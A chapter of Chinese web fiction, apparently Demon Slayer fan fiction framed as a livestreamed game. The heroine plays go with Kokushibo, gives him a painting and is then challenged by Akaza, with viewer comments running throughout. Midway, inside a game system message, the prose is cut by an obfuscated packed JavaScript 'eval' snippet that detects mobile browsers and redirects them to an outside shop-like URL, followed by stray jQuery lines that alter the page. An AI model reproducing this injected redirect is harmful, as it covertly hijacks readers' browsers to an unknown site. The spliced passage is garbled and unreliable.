门被轻轻拉开时,烛火劈啪作响,刚好爆开一朵灯花。
黑死牟端坐在矮几一侧,披着深色羽织,虚哭神去斜倚在身侧,刀鞘上的眼球纹路在烛光中缓缓转动。
矮几上已摆好的棋盘纹理细腻,其上棋子黑白分明,已至中盘。
眼前的画面无比熟悉,又和记忆中的模样有些细微的出入。
【这集我好像看过】
【我知道了,接下来奈奈子会坐下来,然后和上弦一开始大眼瞪小眼,谁都不开口】
【已经开始为这俩人着急了】
【直播间的各位,长按屏幕为主播加速】
【算我求你俩了,这次能不能多说点话】
【求也得排队!】
与弹幕所想并不一致。
“执黑执白?”他开口,声音平静无波,六只眼睛抬起,视线扫过朝奈的脸,在她手中的画轴上停留一瞬。
“黑。”朝奈也答得干脆,手已伸向黑棋棋罐。
黑死牟也不再多言,将白棋棋罐移至自己面前。
棋局重开。
朝奈捏起一枚黑子,打量了片刻,圆润匀称,是上好的玉石打磨而成,触感微凉。
开局二十手,两人落子都很快。
黑死牟的棋风一如他的剑技,沉稳中暗藏杀机,每一子落下都经过了深思熟虑,布局严谨,滴水不漏。
朝奈却下得随意,时而长驱直入,时而迂回试探,没有半点章法可言。
“说实话,”她在落子的间隙,对着直播间的观众说起话来,仿佛在实时解说,“我下棋是真没天赋,老师讲定式的时候我睡着三次。”
黑死牟执棋的手微微停顿,下一秒,又落在了棋盘上。
“后来全靠玩游戏,你们都知道云顶之弈吧?”
“那种站位,阵容和装备搭配的逻辑,我觉得和下棋有点像。”
【云顶之弈玩家震怒】
【那我们金铲铲玩家算什么】
【算手游玩家!】
【此下棋非彼下棋,差别还是很大吧】
【黑死牟听得懂主播在说什么吗?他怎么都不好奇的】
【游戏特色,对于玩家超出理解范畴的话,自动无视】
棋至中盘,白棋的优势已经逐渐显现,三条大龙遥相呼应,在棋盘上构成一张无形的网,而朝奈的黑子则显得有些散乱,虽有几处巧手,却难以挽回大局。
第四十七手,黑死牟的白棋悬于半空,正欲落在天元附近一处要害。
这一子若落下,朝奈中腹的势力将遭受重创。
“等一下。”
她突然伸手,掌心稳稳盖住了那片位置。
手指纤细,烛光在指关节中投下柔和的阴影,正好挡住他欲落子的位置。
黑死牟的棋子停在半空,他抬眼,静静注视着覆在棋盘上的手。
“你下这里的话,”朝奈仰起脸,烛火在她眼眸中跳动,“我这五颗子不就全死了?”
“所以,你能不能换个地方?”
她的语气理所应当,就好像对方本来就该这般。
茶室陷入短暂的寂静,黑死牟的视线在她脸上停留片刻,又落回被遮挡的棋盘。
然后他手腕微转,白子“嗒”地一声轻响,落在了另一处无关紧要的位置。
“很好。”朝奈满意地收回手,从棋罐里捏起一枚黑子,开始思考自己接下来的布局。
【???】
【啊?这就让了?这能对吗?】
【卧槽,那不是一步关键棋么,上弦一你的原则在哪里?底线在哪里?】
【我要举报这里有人公然放水】
棋局仍在继续。
朝奈的黑子依旧散漫,堵住了白棋一处并不重要的攻势。
刚落下她便“啊”了一声,指尖无比自然地将那枚黑子捞了回来。
“悔一步。”她说,动作行云流水,毫无尴尬之意。
黑死牟眼中并无怒意,只平静地看着她,无声之间,目光似乎在询问理由。
“刚才没看仔细。”朝奈迎着那道视线,淡淡地解释,“我棋技不如你,你让着我点,没问题吧?”
她的目光清澈,脸不红心不跳地说着纯赖皮的话。
黑死牟的视线重新落回棋盘,他未回应,但也默许了刚才那一幕所发生之事。
朝奈将棋子落在另一处,这一步明显高明许多,不仅化解了局部危机,还为后续的长线局势埋下伏笔。
【主播这一手悔棋实在是太自然了,我都没法反驳】
【黑死牟(沉默):你开心就好】
【我算是看明白了,这哪里是放水,这得放了个太平洋】
【你舅宠她爸!】
接下来的对局,呈现出一种奇妙的平衡。
白棋依旧凌厉,攻势一波接一波,却总在关键处留黑子一线生机。
黑棋左支右绌,倒也能勉强守住基本盘面,偶尔还能反击一手。
棋至一百手以上,局面已临近终盘,白棋胜势明显,黑棋也凭借中腹一处巧妙做活,算不上输得太惨。
“要结束了。”黑死牟开口,这是他棋局开始之后说的第二句话。
朝奈点点头,捏起一枚黑子,却迟迟未落。
她的目光在棋盘上游移,最后停在一处无关胜负的位置。
“就下在这里吧。”她说,棋子落下。
黑死牟看着她落子的地方,沉默片刻,执起白子,落在了相邻位置。
两人就这样一着一应,将棋盘上剩下的空白填满,避开了所有可能引发局势动荡的地方。
局面陷入了诡异的和平之中。
最后一子落下。
数目。
白棋胜一目半。
“我输啦。”朝奈推开棋罐,声音很是轻快,面上带着淡淡的笑意,“不过输得倒是挺开心的。”
黑死牟开始收子,动作缓慢而优雅。
白玉与墨玉相撞,发出清脆悦耳的声响。
“为何开心?”他忽然问,手中收子的动作未停。
“因为看见了精彩的对局啊。”朝奈边收黑子边说,“而且你最后,完全就是在让着我。”
“没有让。”
“那为什么不堵住我的生路?”
黑死牟的手停住。
“因为,”他缓缓回答,“那局棋,早就结束了。”
说完这句话之后,他便陷入了以往一贯的沉默中。
朝奈倒是听明白了。
他说的那局棋,并不是眼前这盘实力差距过大而没有悬念的棋局。
而是一盘,在数百年前就已经下完,没有悔棋机会的、名为人生的棋。
她的耍赖和悔棋,或许让他想起了一些本不该存在的记忆,以至看见了另一种结局的可能。
两人在沉默之中收完棋子,棋盘变得空荡荡的,仿佛方才那场激烈的厮杀从未发生。
就在这时,朝奈从旁边拿起画轴,轻轻放在矮几上。
“送你的。”
“我请玉壶画的。”朝奈解开画轴上的丝带,动作轻柔地展开画卷,“画的是——”
她未说完,只用眼神示意对方看。
光线透过窗户,刚好洒在画上。
一大片月下竹林出现在眼前,竹影摇曳,月色如霜,使得氛围更显寂寥。
黑死牟的目光盯着画中身着深紫色和服的少年背影。
好一会儿,他才低声开口。
“为何送我此物?”
“想送就送了。”朝奈看着他悬在画纸上方的手,缓缓说,“一定要选一个理由的话。”
“有些过往不该被遗忘,它们值得被珍藏。”
有些,过往。
黑死牟骨节分明的手指轻轻拂过画上的竹叶,然后是少年的衣襟,最后停在那双眼睛上。
“画技,尚可。”
他将画轴缓缓卷起,卷好后没有归还,而是放在了自己身侧。
[系统提示:赠送物品成功,黑死牟好感+10]
[特殊状态“月之注视
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122976|195983||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”已升级为“月之共鸣”]
[状态描述:你的存在会引发他内心深处的共鸣,某些被时间掩埋的情感将悄然浮现。]
“那个,”朝奈清了清嗓子,试图让气氛轻松些,“你也看到了,我的棋下得并不算好。”
“不过呢,我觉得下棋挺有意思的。”她继续说,“所以,以后能常来这里下棋吗?”
她努力让自己看起来真诚又无害。
“当然,主要是想学习,都说观棋如人生,我想多看看棋路,说不定能悟出点什么。”
【主要是想学习吗?那很坏了】
【醉翁之意不在酒,主播你继续演】
【主播棋下得不行,演技倒是蛮好】
【鹅鹅鹅,以后直播间开个栏目,专播下棋,号召广大棋友前来指导】
黑死牟的目光在她脸上停留许久。
“每月朔日。”他最终说,“可来一局。”
朝奈的眼睛弯起,“那就说好了哦,下次我带茶叶来好了。”
她起身,羽织下摆在坐垫上轻轻拂过,走到门前时,她忽然停下,回头。
纸门半开,光线从门外洒入,在地上投下一道清辉。
她轻声说,“那幅画,我给它取了个名字。”
黑死牟的身影在烛光中微微一动。
“叫月下萤火。”朝奈笑着说,“我觉得很合适。”
说完,她拉开纸门,步入廊下月光中,纸门在她身后无声合拢。
棋室内重归寂静。
黑死牟独自坐在原地,许久未动。
烛火渐弱,光影在他脸上摇曳。
虚哭神去静静倚在身侧,刀鞘上的纹路仿佛也陷入了沉睡。
不知过了多久,他才伸出手,再次展开那幅画轴。
月光下,少年那双眼里,带着他早已遗忘的、属于人类的温度。
他看了很久。
久到茶杯里的水彻底凉透。
“萤火么。”
“倒也,贴切。”
他低声喃喃,声音消散在空寂的茶室中。
-
“每月朔日,可来。”
每次去都带点小礼物涨涨好感,任务岂不是简简单单?
回去的路上,朝奈在一条回廊的转角处撞见了猗窝座。
他靠在墙上,抱着手臂,在昏暗的光线下静静地看着她。
身上的伤口已经愈合了大半,只有几道最深的还留着淡粉色的新肉痕迹。
【不是我说,主播真有点吸上弦鬼的体质吧?】
【太好了是三哥,我们有救了】
【我看了这么久,感觉主播无时无刻不在和上弦打交道】
【放其他直播间哪有这待遇,还是这里有意思】
“你去见了黑死牟。”
“嗯。”朝奈点头,“送了点东西。”
猗窝座沉默了片刻,眼眸里闪过一抹讶异。
“你很强。”他忽然说。
朝奈挑眉,还有点不习惯,“怎么突然夸我?”
“不是夸。”猗窝座站直身体,目光锐利地锁在她身上,“能从黑死牟那里活着出来,不是运气。”
他向前走了一步。
“我想知道,”他的声音染上点亢奋,“你到底有多强。”
朝奈笑了。
虽然大概率被他误解了,但眼下这个情况正合她意。
毕竟,和上弦切磋一次增长的经验值非常可观。
她退后一步,活动了一下手腕。
“想知道的话,”她赤瞳里闪过一丝期待的光,“打一场不就清楚了?”
猗窝座皱着眉,“我不打女人。”
“那还真是可惜。”朝奈话音未落,身形已经动了。
【那还真是可惜,因为主播从来没有不打男人这一说】
【卧槽卧槽,战力党最期待的一集终于来了】
【我倒要看看三哥和奈奈子谁更强】
【来来来,买定离手,我赌五毛钱的,主播赢!】